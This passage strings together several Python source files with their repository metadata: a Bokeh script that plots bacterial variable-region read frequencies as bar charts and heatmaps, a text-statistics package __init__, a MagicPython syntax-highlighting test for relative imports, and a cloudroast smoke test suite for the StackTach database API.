"#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00", "#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B", ] def configure_plot(fig, sample_list, sample_xaxis): fig.xaxis.major_label_overrides = dict(zip(sample_xaxis, sample_list)) fig.xaxis.minor_tick_line_color = None fig.title.text_font_size = "28pt" if not args.large: fig.xaxis.major_label_text_font_size = '16pt' fig.yaxis.major_label_text_font_size = '16pt' fig.yaxis.axis_label = "Relative Frequency" fig.yaxis.axis_label_text_font_size = '18pt' if __name__ == '__main__': parser = argparse.ArgumentParser(description='Syph visualizer for all data') parser.add_argument('alldata_filtered', help='alldata_filtered.csv data table from tprk_pipeline.py') parser.add_argument('metadata', help='metadata.csv, same as used with tprk_pipeline.py') parser.add_argument('-svg', action='store_true', help='Use this flag to output graphs in .svg format. ' 'By default, plots will be in .html.'), parser.add_argument('-large', action='store_true', help='Use this flag to output graphs that are too large.') try: args = parser.parse_args() except: parser.print_help() sys.exit(0) df = pd.read_csv(args.alldata_filtered,index_col=False) metadata_file = args.metadata source = ColumnDataSource(df) first_row = list(df) # Get list of sample names from metadata file and make xaxis spots for all of them. sample_list = [] sample_xaxis = [] read_metadata_file = open(metadata_file, "r",encoding='utf-8-sig') metadata_file_lines = read_metadata_file.readlines() for paired_samples in metadata_file_lines: sample, illumina_sample, pacbio_sample = paired_samples.split(",") if(sample!="SampleName"): if(sample in sname for sname in first_row): sample_list.append(sample) sample_xaxis.append(len(sample_list)*10) else: print(sample, " is in metadata but not in allreads_filtered.csv.") variable_regions_list = ['V1','V2','V3','V4','V5','V6','V7'] variable_region_figs = [] variable_region_hms = [] df_columns = list(df) sample_list.sort() # Drop PacBio columns for column in df_columns: if "PB_" in column or "Count" in column: df = df.drop(labels=column, axis=1) df_columns = list(df) # Replace NaNs with 0s df.fillna(0, inplace=True) # Initialize palettes blues = brewer['Blues'][9][0:7] bugn = brewer['BuGn'][9][0:7] bupu = brewer['Purples'][8][0:7] orrd = brewer['OrRd'][9][0:7] gnbu = brewer['GnBu'][9][0:7] purd = brewer['PuRd'][9][0:7] ylgn = brewer['YlGn'][9][0:7] for variable_region in variable_regions_list: region_df = df.loc[df.Region==variable_region] region_df = region_df.drop(labels="Region", axis=1) color_num = 0 sample_reads = [] hm_x = [] hm_y = [] hm_values = [] hm_yaxis = [] if (args.large): fwidth = 1800 else: fwidth = 1500 fig = figure(x_range = sample_list, y_range = (0,105), tools = "hover", tooltips = "$name", plot_height = 900, plot_width = fwidth, min_border_left = 200, title = variable_region, toolbar_location = None, sizing_mode = "scale_width") data = {'samples': sample_list} configure_plot(fig, sample_list, sample_xaxis) for index, row in region_df.iterrows(): read_seq = row[0] sample_frequencies = [] num = 0 row_parts_all_zero = True for i, row_parts in enumerate(row): if(i!=0): num = float(row_parts) if(float(num)!=0): row_parts_all_zero = False hm_x.append(sample_list[i-1]) hm_y.append(read_seq) hm_values.append(num) sample_frequencies.append(num) # Only use rows with actual data in it if not row_parts_all_zero and read_seq!="": sample_reads.append(read_seq) data[read_seq] = sample_frequencies color_num = color_num + 1 fig.vbar_stack(sample_reads, x = 'samples', width = 0.9, source=data, fill_color=color_palette[0:len(sample_reads)], fill_alpha = 1, hover_alpha = 0.6, hover_color = color_palette[0:len(sample_reads)], line_alpha = 0, ) variable_region_figs.append(fig) # Rotate x-axis labels fig.xaxis.major_label_orientation = pi/4 df2 = pd.DataFrame() df2['x']=hm_x df2['y']=hm_y df2['values']=hm_values source = ColumnDataSource(df2) if(variable_region=="V1"): brew_pal = blues elif(variable_region=="V2"): brew_pal = bugn elif(variable_region=="V3"): brew_pal = bupu elif(variable_region=="V4"): brew_pal = orrd elif(variable_region=="V5"): brew_pal = gnbu elif(variable_region=="V6"): brew_pal = ylgn else: brew_pal = purd # Reverse the colors so darker colors at max brew_pal = brew_pal[::-1] mapper = LinearColorMapper(palette=brew_pal, low=1, high=100, low_color = "#ffffff") # Set different scales of plot sizes for large datasets if(args.large): pheight = (len(sample_reads)*15) pwidth = (len(sample_list)*18) + (len(max(sample_reads, key = len)) * 8) else: pheight = (len(sample_reads)*22) pwidth = (len(sample_list)*28) + (len(max(sample_reads, key = len)) * 10) hm = figure( x_range=sample_list, y_range=sample_reads, title = variable_region, toolbar_location = None, x_axis_location = "above", #background_fill_color = "#d3d3d3", plot_height = int(pheight), plot_width = int(pwidth), #aspect_scale = 1, match_aspect = True, #sizing_mode = "scale_both", min_border_right = 80, min_border_bottom = 80, y_axis_location = "left", tooltips=[('Read','@y'),('Strain','@x'),('Frequency','@values'+"%")]) hm.rect(x='x', y='y', width = 1, height = 1, source=source, line_color=None, fill_color=transform('values', mapper), hover_line_color = 'black', hover_color = transform('values',mapper)) color_bar = ColorBar(color_mapper = mapper, major_label_text_font_size="5pt", ticker=BasicTicker(desired_num_ticks=len(purd)), formatter=PrintfTickFormatter(format="%d%%"), label_standoff=6, border_line_color=None, location=(0, 0)) hm.add_layout(color_bar, 'right') hm.xaxis.major_label_orientation = 1.0 hm.grid.grid_line_color = None hm.axis.axis_line_color = None hm.axis.major_tick_line_color = None hm.background_fill_color = None hm.border_fill_color = None hm.title.text_font_size = "16pt" variable_region_hms.append(hm) if args.large: output_file("all_heatmap_"+variable_region+".html", title = "Heatmap for Region " + variable_region) save(hm) output_file("all_variable_region_"+variable_region+".html", title = "Variable Regions for Region " + variable_region) save(fig) if args.svg: # for myfig in variable_region_figs: # myfig.output_backend = "svg" # output_filename = myfig.title.text + ".svg" # output_file(output_filename) # export_svgs(myfig, filename=output_filename) for myhm in variable_region_hms: myhm.output_backend = "svg" output_filename = myhm.title.text + "_heatmap.svg" output_file(output_filename) export_svgs(myhm, filename=output_filename) else: if not args.large: grid = gridplot(variable_region_figs, ncols=1) output_file("all_variable_regions.html") save(grid) grid2 = gridplot(variable_region_hms,ncols=1) output_file("all_heatmap.html", title = "Heatmap") save(grid2)

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null

0

10

f07fd6f9987d6ce12f29fd63fb0d6e0e8a3e4152

287

py

Python

scr/TextStatistic/__init__.py

ShadowStalker13/TextStatistics

5535ffa8319c324af1c3444514b19c17dd088cb7

[ "MIT" ]

null

scr/TextStatistic/__init__.py

ShadowStalker13/TextStatistics

5535ffa8319c324af1c3444514b19c17dd088cb7

[ "MIT" ]

null

scr/TextStatistic/__init__.py

ShadowStalker13/TextStatistics

5535ffa8319c324af1c3444514b19c17dd088cb7

[ "MIT" ]

null

from scr.TextStatistic.TextStatistic import get_words from scr.TextStatistic.TextStatistic import words_into_dict from scr.TextStatistic.TextStatistic import count_words from scr.TextStatistic.TextStatistic import count_unique_words from scr.TextStatistic.TextStatistic import all_words

47.833333

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null

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1

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7

b2cee7438fde6a0cdea838a94044bf1373d32d9b

1,317

py

Python

test/statements/import4.py

kylebarron/MagicPython

da6fa0793e2c85d3bf7709ff1d4f65ccf468db11

[ "MIT" ]

1,482

2015-10-16T21:59:32.000Z

2022-03-30T11:44:40.000Z

test/statements/import4.py

kylebarron/MagicPython

da6fa0793e2c85d3bf7709ff1d4f65ccf468db11

[ "MIT" ]

226

2015-10-15T15:53:44.000Z

2022-03-25T03:08:27.000Z

test/statements/import4.py

kylebarron/MagicPython

da6fa0793e2c85d3bf7709ff1d4f65ccf468db11

[ "MIT" ]

129

2015-10-20T02:41:49.000Z

2022-03-22T01:44:36.000Z

from....foo import a from...foo import b from..foo import c from.foo import d from : keyword.control.import.python, source.python .... : punctuation.separator.period.python, source.python foo : source.python : source.python import : keyword.control.import.python, source.python : source.python a : source.python from : keyword.control.import.python, source.python ... : punctuation.separator.period.python, source.python foo : source.python : source.python import : keyword.control.import.python, source.python : source.python b : source.python from : keyword.control.import.python, source.python .. : punctuation.separator.period.python, source.python foo : source.python : source.python import : keyword.control.import.python, source.python : source.python c : source.python from : keyword.control.import.python, source.python . : punctuation.separator.period.python, source.python foo : source.python : source.python import : keyword.control.import.python, source.python : source.python d : source.python

36.583333

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0.595292

136

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0.459184

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0

null

0

1

0

1

0

11

b2e0d1cdfb235a7c6676da04d0ff75dbe22acb9a

16,946

py

Python

cloudroast/stacktach/smoke/stacktach_db_api.py

lmaycotte/cloudroast

c1835aa45e0e86c755d4b24b33e12ba30eee1995

[ "Apache-2.0" ]

null

cloudroast/stacktach/smoke/stacktach_db_api.py

lmaycotte/cloudroast

c1835aa45e0e86c755d4b24b33e12ba30eee1995

[ "Apache-2.0" ]

null

cloudroast/stacktach/smoke/stacktach_db_api.py

lmaycotte/cloudroast

c1835aa45e0e86c755d4b24b33e12ba30eee1995

[ "Apache-2.0" ]

null

""" Copyright 2013 Rackspace Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from datetime import datetime, timedelta from cloudcafe.common.tools.time import string_to_datetime from cloudroast.stacktach.fixtures import StackTachDBFixture class StackTachDBTest(StackTachDBFixture): def test_list_launches(self): """ @summary: Verify that List Launches records returns 200 Success response """ response = self.stacktach_dbclient.list_launches() self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_launches_entity_attribute_values(response.entity) def test_list_deletes(self): """ @summary: Verify that List Deletes records returns 200 Success response """ response = self.stacktach_dbclient.list_deletes() self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_deletes_entity_attribute_values(response.entity) def test_list_exists(self): """ @summary: Verify that List Exists records returns 200 Success response """ response = self.stacktach_dbclient.list_exists() self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_exists_entity_attribute_values(response.entity) def test_get_launch(self): """ @summary: Verify that Get Launch record by event id returns 200 Success response """ response = self.stacktach_dbclient.list_launches() event_id = response.entity[0].id_ response = self.stacktach_dbclient.get_launch(event_id) self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_launch_entity_attribute_values(response.entity) def test_get_delete(self): """ @summary: Verify that Get Delete record by event id returns 200 Success response """ response = self.stacktach_dbclient.list_deletes() event_id = response.entity[0].id_ response = self.stacktach_dbclient.get_delete(event_id) self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_delete_entity_attribute_values(response.entity) def test_get_exist(self): """ @summary: Verify that Get Exist record by event id returns 200 Success response 1. List all exists 2. Get the first exists entry's exists id 4. Check for exists id """ response = self.stacktach_dbclient.list_exists() exists_id = response.entity[0].id_ response = self.stacktach_dbclient.get_exist(exists_id) self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_exist_entity_attribute_values(response.entity) def test_get_launches_by_date_min(self): """ @summary: Verify that Get Launches by minimum date returns 200 Success response """ date_min = datetime.utcnow() - timedelta(days=int(self.days_passed)) response = (self.stacktach_db_behavior .list_launches_by_date_min(launched_at_min=date_min)) self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_launches_entity_attribute_values(response.entity) def test_get_launches_by_date_max(self): """ @summary: Verify that Get Launches by maximum date returns 200 Success response 1. Get Launches for the past few days 2. Iterate through the list to look for a non null launched_at 3. Add 1 day to the launched at for maximum date filter """ date_min = datetime.utcnow() - timedelta(days=int(self.days_passed)) response = (self.stacktach_db_behavior .list_launches_by_date_min(launched_at_min=date_min)) for launch in response.entity: if launch.launched_at is not None: launched_at = str(launch.launched_at) break # Microseconds may or may not be returned date_obj = string_to_datetime(launched_at) date_max = date_obj + timedelta(days=1) response = (self.stacktach_db_behavior .list_launches_by_date_max(launched_at_max=date_max)) self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_launches_entity_attribute_values(response.entity) def test_get_launches_by_date_min_and_max(self): """ @summary: Verify that Get Launches by minimum and maximum date returns 200 Success response """ date_max = datetime.utcnow() date_min = datetime.utcnow() - timedelta(days=int(self.days_passed)) response = (self.stacktach_db_behavior .list_launches_by_date_min_and_date_max( launched_at_min=date_min, launched_at_max=date_max)) self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_launches_entity_attribute_values(response.entity) def test_get_deletes_by_date_min(self): """ @summary: Verify that Get Deletes by minimum date returns 200 Success response """ date_min = datetime.utcnow() - timedelta(days=int(self.days_passed)) response = (self.stacktach_db_behavior .list_deletes_by_date_min(deleted_at_min=date_min)) self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_deletes_entity_attribute_values(response.entity) def test_get_deletes_by_date_max(self): """ @summary: Verify that Get Deletes by maximum date returns 200 Success response 1. Get Deletes for the past few days 2. Choose the first deleted at for maximum date filter """ date_min = datetime.utcnow() - timedelta(days=int(self.days_passed)) response = (self.stacktach_db_behavior .list_deletes_by_date_min(deleted_at_min=date_min)) deleted_at = response.entity[0].deleted_at # Microseconds may or may not be returned date_max = string_to_datetime(deleted_at) response = (self.stacktach_db_behavior .list_deletes_by_date_max(deleted_at_max=date_max)) self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_deletes_entity_attribute_values(response.entity) def test_get_deletes_by_date_min_and_max(self): """ @summary: Verify that Get Deletes by minimum and maximum date returns 200 Success response """ date_max = datetime.utcnow() date_min = datetime.utcnow() - timedelta(days=int(self.days_passed)) response = (self.stacktach_db_behavior .list_deletes_by_date_min_and_date_max( deleted_at_min=date_min, deleted_at_max=date_max)) self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_deletes_entity_attribute_values(response.entity) def test_list_launches_for_uuid(self): """ @summary: Verify that List Launches by uuid returns 200 Success response """ date_max = datetime.utcnow() date_min = datetime.utcnow() - timedelta(days=int(self.days_passed)) response = (self.stacktach_db_behavior .list_launches_by_date_min_and_date_max( launched_at_min=date_min, launched_at_max=date_max)) uuid = response.entity[0].instance response = (self.stacktach_db_behavior .list_launches_for_uuid(instance=uuid)) self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_launches_entity_attribute_values(response.entity) def test_list_deletes_for_uuid(self): """ @summary: Verify that List Deletes by uuid returns 200 Success response """ date_max = datetime.utcnow() date_min = datetime.utcnow() - timedelta(days=int(self.days_passed)) response = (self.stacktach_db_behavior .list_deletes_by_date_min_and_date_max( deleted_at_min=date_min, deleted_at_max=date_max)) uuid = response.entity[0].instance response = (self.stacktach_db_behavior .list_deletes_for_uuid(instance=uuid)) self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_deletes_entity_attribute_values(response.entity) def test_list_exists_for_uuid(self): """ @summary: Verify that List Exists by uuid returns 200 Success response 1. Find a server that was deleted 2 days ago 2. End of audit period was 1 day ago 3. Check for exists event """ date_max = datetime.utcnow() - timedelta(days=2) date_min = datetime.utcnow() - timedelta(days=int(self.days_passed)) response = (self.stacktach_db_behavior .list_deletes_by_date_min_and_date_max( deleted_at_min=date_min, deleted_at_max=date_max)) uuid = response.entity[0].instance response = (self.stacktach_db_behavior .list_exists_for_uuid(instance=uuid)) self.assertEqual(response.status_code, 200, self.msg.format("status code", "200", response.status_code, response.reason, response.content)) self.verify_exists_entity_attribute_values(response.entity) def verify_launch_entity_attribute_values(self, entity): """ @summary: Verify all attributes of a server launch is NOT None """ self.assertIsNotNone(entity.id_) self.assertIsNotNone(entity.request_id) self.assertIsNotNone(entity.instance) self.assertIsNotNone(entity.tenant) self.assertIsNotNone(entity.os_distro) self.assertIsNotNone(entity.os_version) self.assertIsNotNone(entity.instance_type_id) self.assertIsNotNone(entity.instance_flavor_id) self.assertIsNotNone(entity.launched_at) self.assertIsNotNone(entity.os_architecture) self.assertIsNotNone(entity.rax_options) def verify_launches_entity_attribute_values(self, response_entity): """ @summary: Verify all attributes of the server launches list is NOT None """ self.assertGreaterEqual(len(response_entity), 1, msg="The response content is blank") for element in response_entity: self.verify_launch_entity_attribute_values(element) def verify_exist_entity_attribute_values(self, entity): """ @summary: Verify all attributes of a server exist is NOT None """ self.assertIsNotNone(entity.id_) self.assertIsNotNone(entity.raw) self.assertIsNotNone(entity.message_id) self.assertIsNotNone(entity.instance) self.assertIsNotNone(entity.instance_type_id) self.assertIsNotNone(entity.instance_flavor_id) self.assertIsNotNone(entity.launched_at) self.assertIsNotNone(entity.tenant) self.assertIsNotNone(entity.status) self.assertIsNotNone(entity.send_status) self.assertIsNotNone(entity.received) self.assertIsNotNone(entity.os_distro) self.assertIsNotNone(entity.os_architecture) self.assertIsNotNone(entity.os_version) self.assertIsNotNone(entity.rax_options) self.assertIsNotNone(entity.audit_period_beginning) self.assertIsNotNone(entity.audit_period_ending) self.assertIsNotNone(entity.bandwidth_public_out) def verify_exists_entity_attribute_values(self, response_entity): """ @summary: Verify all attributes of the server exists list is NOT None """ self.assertGreaterEqual(len(response_entity), 1, msg="The response content is blank") for element in response_entity: self.verify_exist_entity_attribute_values(element) def verify_delete_entity_attribute_values(self, entity): """ @summary: Verify all attributes of a server delete is NOT None """ self.assertIsNotNone(entity.id_) self.assertIsNotNone(entity.raw) self.assertIsNotNone(entity.instance) self.assertIsNotNone(entity.deleted_at) self.assertIsNotNone(entity.launched_at) def verify_deletes_entity_attribute_values(self, response_entity): """ @summary: Verify all attributes of the server delete list is NOT None """ self.assertGreaterEqual(len(response_entity), 1, msg="The response content is blank") for element in response_entity: self.verify_delete_entity_attribute_values(element)

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